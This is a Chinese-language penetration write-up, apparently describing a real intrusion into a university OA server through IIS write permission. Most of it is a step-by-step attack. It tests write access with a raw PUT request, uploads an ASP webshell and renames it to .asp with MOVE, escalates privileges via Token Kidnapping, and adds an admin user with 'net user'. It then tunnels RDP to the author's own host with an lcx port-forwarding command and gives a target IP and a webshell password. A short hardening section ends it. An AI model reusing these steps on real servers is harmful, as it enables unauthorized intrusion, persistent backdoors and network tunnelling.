源地址:http://netsecurity.51cto.com/art/200812/101015.htm
IIS写权限对网站系统的安全是致命的,拥有写权限可以直接往网站目录写文件,在拥有写权限的服务器上,其安全相对设置薄弱,因此比较容易被入侵者控制,本文就IIS写权限方面进行了研究。
一、IIS写权限原理
测试一个目录对于web用户是否具有写权限,采用如下方法:
1.telnet服务器并发送传送文件请求
首先使用Telnet连接到服务器的web端口即80端口,并发送一个如下请求:
PUT /dir/my_file.txt HTTP/1.1
Host: IIS-server Content-Length: 10
2.查看服务器返回信息
正常情况下服务器会返回一个100的信息,如下所示:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Num 2008 15:56:00 GMT
3.测试是否可以输入
接着,我们输入10个字母:AAAAAAAAAA,送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应,如下所示:
HTTP/1.1 201 Created Server: Microsoft-IIS/5.0
Date: Thu, 28 Num 2008 15:56:08 GMT
Location:http://IIS-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT,COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了“写”和“脚本和可执行程序”的话,那么Web用户就可以上传一个程序并且执行它。
二、实际渗透测试
1.IIS写权限漏洞探测
以某高校的OA系统为例,其IP地址为202.115.*.*。通过上面的测试,发现该IIS目录可以进行读写操作,直接打开该IP地址可以正常访问Web页面,如图1所示。
说明:
该IP地址对外仅仅开放80和1433端口,由于所有业务系统是在登录后才能使用,使用明小子的Domain3.5、教主的HDSI3.0以及Zwell对Jsky等SQL注入工具均无漏洞利用点,无法通过SQL注入来获得突破。
2.直接提交文件
由于该IIS目录可以读写,最简单的办法就是提交一个asp的Webshell上去,但在实际提交asp文件时,IIS提示:“HTTP/1.1 403 Forbidden”错误,直接提交asp文件失败,所以直接用Post方式写asp不行了。
说明:
(1)在IIS写权限利用中的一个典型问题是:只要是IIS支持的文件类型在写入时都会产生HTTP/1.1 403 Forbidden错误。
(2)由于IIS除了可以执行put,post,get等动作外,还可以执行Copy,Move等命令,所以我们这可以先把本地asp上传到远程主机Web目录下保存为文件文件或者其它允许的文件,然后再通过copy,move等命令来修改这些文件为以后缀为asp的文件。
3.利用IIS写入漏洞利用工具软件提交
IIS写入漏洞的利用,通过手工操作比较繁琐,而且效率低下,一般使用一些IIS写入漏洞利用工具来操作。IIS写入利用工具其本质还是跟手工提交原理一样,先判断再尝试,只是将所有的过程通过编程来实现而已。在本例中使用桂林老兵的IIS写权限利用工具,先提交一个asp后门文件上去,如图2所示,在提交方式中选择PUT(前面直接使用Post失败了,所有这里要选择PUT),域名输入IP地址“202.115.*.*”,请求文件“/test.txt”,然后选择一个本地asp的webshell文件,选择完毕后单击“提交数据包”按钮,如果提交顺利,再在IE浏览器中打开test.txt文件,能够查看就表明提交成功。
说明:
用IIS写入利用工具提交文件,先提交生成一个test.txt文件,此文件实为asp后门的源文件。如图2所示,当我们访问地址“http://202.115.*.*/test.txt”时,可以看到此asp木马的源代码。
4.操作上传的文件
在桂林老兵的写权限利用工具中,选择move操作,利用IIS的move方法,将test.txt文本文件,重命名为shell.asp后门文件,然后再在IE地址栏中输入http://202.115.*.*/shell.asp,查看能否正常访问,如图3所示,执行过程显示“类型不匹配”错误。
说明:
当看到出现“类型不匹配‘execute’”错误提示时,说明后门提交成功,依照该方法重新上传一个功能强大的asp木马,上传成功后将其从命名为spy.asp。成功后后再在IE中输入地址:http://202.115.166.32/spy.asp ,并输入该Webshell的登陆密码“wrsky”,成功登陆,登录后发现该OA系统首页面已经被挂马,如图4所示,在该网站首页竟然挂了三个网页木马,都说高校的系统烂,百闻不如一见,果然如此,唉无语中!
5.清除网页木马
在Webshell中单击“批量清马(超强版)”链接,进入清除网页木马主界面,在“要清的马”中将刚才发现的网页木马代码复制过来粘贴在其中,然后单击“开始执行”按钮清除该OA系统中存在的网页木马,如图5所示,一共清除了200多个。
三、提升权限
1.利用“MS Windows Token Kidnapping”本地提升权限漏洞提权添加具有管理员权限的用户
在本案例中的Webshell权限比较低,因此可以尝试提升权限。由于系统补丁没打全,可以尝试利用“MS Windows Token Kidnapping”漏洞进行本地提升权限,通过该漏洞直接拿到系统权限。使用“net user admins Admin12345678! ”命令,添加用户账号“admins”的密码为“Admin12345678!”。
说明:
“MS Windows Token Kidnapping”漏洞已经出了一段时间了,该漏洞是由于在Network Service 或者 Local Service 下运行的代码,可以访问同样是在Network Service 或者 Local Service 下运行的进程,某些进程允许提升权限为Local System。对这个漏洞的解决方案一是打补丁,微软已经出了补丁。二是利用命令sc stop MSDTC & sc config MSDTC start= disabled,以达到控制权限提升的目的。
2.进行端口转发
通过再次扫描,发现此服务器置于防火墙后,确认该服务器只开放80和1433端口,同时利用Webshell发现系统终端端口已经被修改为“8080”端口,但由于是在内网,外网无法直接访问,必须通过端口转发程序将8080转发出来。
分别上传cmd.exe和lcx.exe到网站目录“e:\oa\seoa\”下,然后在“CMD命令”窗口中执行“e:\oa\seoa\lcx –slave 125.67.147.* 51 127.0.0.1 8080 ”,如图6所示。
此时此服务器的终端端口已经转发到我本机“125.67.147.*”的51端口上,我在本机执行“Lcx.exe -listen 51 2222”将服务器终端再一次重定向到我本机的2222端口,然后连上本机2222端口,也就登陆了服务器的终端端口,成功转发。然后再打开mstsc远程桌面连接,输入刚才添加到用户和密码成功进入系统,如图7所示,至此利用IIS写权限已经成功渗透该OA系统。
四、安全防范与加固
1.卸载一些危险的组件
基本的防御方法,卸载一些不必要的组件,比如wscript.shell之类,在运行中分别执行以下命令卸载wscript.shell等危险组件:
(1)regsvr32 /u c:\windows\system32\WSHom.Ocx /s
(2)regsvr32 /u C:\WIndows\system32\shell32.dll /s
执行完毕后,再在asp木马上运行系统命令的时候,出现“ActiveX不见不能创建对象”,如图8所示。
由于此时已经不能执行系统命令,即使漏洞没有修补,也没法提升权限,因为已经不能执行命令。
2.卸载FSO组件
在服务器上执行“RegSvr32 /u C:\WINDOWS\SYSTEM32\scrrun.dll /s ”命令卸载fso组件,再在Webshell中执行命令,此时会出现“缺少对象”错误,如图9所示。
注意:
从安全的角度禁用FSO组件比较好,此时asp木马都不能运行,也有一个问题,如果网站程序自身需要FSO组件,也有可能造成网站瘫痪,只要执行“RegSvr32 C:\WINDOWS\SYSTEM32\scrrun.dll /s ”命令重新注册并重启动服务器就可以正常运行。
3.关闭无用服务和升级系统补丁
通过在运行中执行“services.msc”命令打开服务管理器,禁用一些危险和不必要的服务。在合理设置系统中的一些权限,并升级系统补丁。
五、总结与体会
本次能够成功渗透该高校OA系统最主要原因有两个,一个是IIS设置不严格,系统存在IIS上传漏洞;第二个原因是新漏洞出来很长时间了,都快2个月了,系统还未进行修补!在加固过程中我仔细查看其IIS设置,如图10所示,在IIS的主目录下,该OA系统权限设置不当,由于勾选了“写入”权限,所以触发IIS写入漏洞。正确的设置是将读取权限以外的所有权限去掉。提醒各位站长,应该特别注意的是否有必要给予目录浏览和写入权限,目录浏览也是一个很大的问题,可能会泄露本机的网站内容。
欢迎大家来我个网站交流学习
http://www.wangluoren.net